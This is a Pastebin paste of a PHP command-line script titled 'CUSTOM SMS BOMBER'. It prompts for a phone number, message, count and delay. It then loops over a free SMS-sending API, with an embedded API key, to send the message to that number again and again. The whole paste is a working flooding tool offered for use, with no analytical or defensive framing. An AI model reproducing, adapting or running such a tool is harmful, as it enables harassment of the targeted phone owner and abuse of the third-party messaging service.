Advertisement
0xCor3

CUSTOM SMS BOMBER

Sep 15th, 2018
564
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.38 KB | None | 0 0
  1. <?php
  2. // Original SC from Reza & Rebuild With API from _zelsaddr
  3. // SECURITY GHOST~
  4. class BOM {
  5.     private $no;
  6.     private $pesan;
  7.     private $jumlah;
  8.     private $jeda;
  9.  
  10.     public function __construct($no, $pesan, $jumlah, $jeda){
  11.         $this->nope = $no;
  12.         $this->pesan = $pesan;
  13.         $this->jumlah = $jumlah;
  14.         $this->jeda = $jeda;
  15.     }
  16.     public function curl($number, $message){
  17.         $ch = curl_init();
  18.         curl_setopt($ch, CURLOPT_URL, "https://v1.mazterin.com/free_sms_sender.php?no={$number}&pesan={$message}&key=83a002e8ffbe10a8e5bfd289b565b247092a9b70");
  19.         curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  20.         curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36");
  21.         $data = curl_exec($ch);
  22.         curl_close($ch);
  23.         return $data;
  24.     }
  25.     public function BOMING(){
  26.         for ($i=1; $i<=$this->jumlah; $i++) {
  27.             $data = json_decode($this->curl($this->nope, urlencode($this->pesan." ( ".$i." )")), true);
  28.             echo $i." .] ".$data['result']['isi_pesan']." | ".$data['result']['status']."\n";
  29.             sleep($this->jeda);
  30.         }
  31.     }
  32. }
  33. echo "NO HP : "; $no = trim(fgets(STDIN));
  34. echo "MESSAGE : "; $message = trim(fgets(STDIN));
  35. echo "JUMLAH : "; $jml = trim(fgets(STDIN));
  36. echo "DELAY : "; $delay = trim(fgets(STDIN));
  37. $BOM = new BOM($no, $message, $jml, $delay);
  38. $BOM->BOMING();
  39. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement